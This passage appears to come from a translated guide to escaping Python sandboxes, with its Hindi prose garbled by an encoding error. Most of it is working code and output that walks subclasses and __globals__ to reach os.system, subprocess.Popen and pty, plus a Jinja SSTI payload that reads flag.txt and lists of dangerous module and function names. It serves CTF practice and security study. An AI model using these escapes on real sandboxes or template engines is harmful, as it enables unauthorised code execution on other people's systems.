рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛ рдпрд╣ рдЬрд╛рдирдиреЗ рдХрд╛ рдПрдХ рдЕрдЪреНрдЫрд╛ рддрд░реАрдХрд╛ рд╣реИ рдХрд┐ рдЖрдк рдХреНрдпрд╛ рдПрдХреНрд╕реЗрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
# Obtain globals from a defined function
get_flag.__globals__
# Obtain globals from an object of a class
class_obj.__init__.__globals__
# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]
# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
рдиреАрдЪреЗ рдПрдХ рдмрдбрд╝рд╛ рдлрд╝рдВрдХреНрд╢рди рд╣реИ рдЬреЛ рдЧреНрд▓реЛрдмрд▓реНрд╕ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рджрд░реНрдЬрдиреЛрдВ/рд╕реИрдХрдбрд╝реЛрдВ рдЬрдЧрд╣реЛрдВ рдХреЛ рдвреВрдВрдврддрд╛ рд╣реИред
рдордирдорд╛рдиреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреА рдЦреЛрдЬ рдХрд░реЗрдВ
рдпрд╣рд╛рдБ рдореИрдВ рд╕рдордЭрд╛рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реВрдБ рдХрд┐ рдХреИрд╕реЗ рдЖрд╕рд╛рдиреА рд╕реЗ рдЬрд╝реНрдпрд╛рджрд╛ рдЦрддрд░рдирд╛рдХ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛рдУрдВ рдХреЛ рдЦреЛрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЕрдзрд┐рдХ рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╣рдорд▓реЛрдВ рдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡ рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рд╕рд╛рде рдЙрдкрдХрдХреНрд╖рд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ
рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рд╕рдмрд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣рд┐рд╕реНрд╕реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ рдмреЗрд╕ рдЙрдкрдХрдХреНрд╖рд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкрд╛рдирд╛ред рдкрд┐рдЫрд▓реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдпрд╣ ''.__class__.__base__.__subclasses__()
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ рд▓реЗрдХрд┐рди рдЕрдиреНрдп рд╕рдВрднрд╛рд╡рд┐рдд рддрд░реАрдХреЗ рднреА рд╣реИрдВ:
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()
#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()
# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec
#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
рдЦрддрд░рдирд╛рдХ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдирд╛
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрд╣ рдЬрд╛рдирдХрд░ рдХрд┐ рдкреБрд╕реНрддрдХрд╛рд▓рдп sys
рдХреЗ рд╕рд╛рде рдордирдорд╛рдиреЗ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЛ рдЖрдпрд╛рдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЖрдк рдЙрди рд╕рднреА рдореЙрдбреНрдпреВрд▓реНрд╕ рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдирдореЗрдВ sys рдЖрдпрд╛рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
рдмрд╣реБрдд рд╕рд╛рд░реЗ рд╣реИрдВ, рдФрд░ рд╣рдореЗрдВ рдХреЗрд╡рд▓ рдПрдХ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЖрджреЗрд╢ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП:
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
рд╣рдо рдЕрдиреНрдп рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЗ рд╕рд╛рде рднреА рдпрд╣реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдЖрджреЗрд╢реЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')
#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')
#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")
#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")
#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")
#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")
#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╣рдо рдпрд╣ рднреА рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреМрди рд╕реЗ рдореЙрдбреНрдпреВрд▓ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдкреБрд╕реНрддрдХрд╛рд▓рдп рд▓реЛрдб рдХрд░ рд░рд╣реЗ рд╣реИрдВ:
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")
"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pdb:
"""
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдЖрдк рд╕реЛрдЪрддреЗ рд╣реИрдВ рдХрд┐ рдЕрдиреНрдп рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рд╕рдВрднрд╛рд╡рд┐рдд рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХреЗ рднреАрддрд░ рдлрд╝рдВрдХреНрд╢рди рдирд╛рдореЛрдВ рджреНрд╡рд╛рд░рд╛ рднреА рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")
"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn:
import_module:
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, 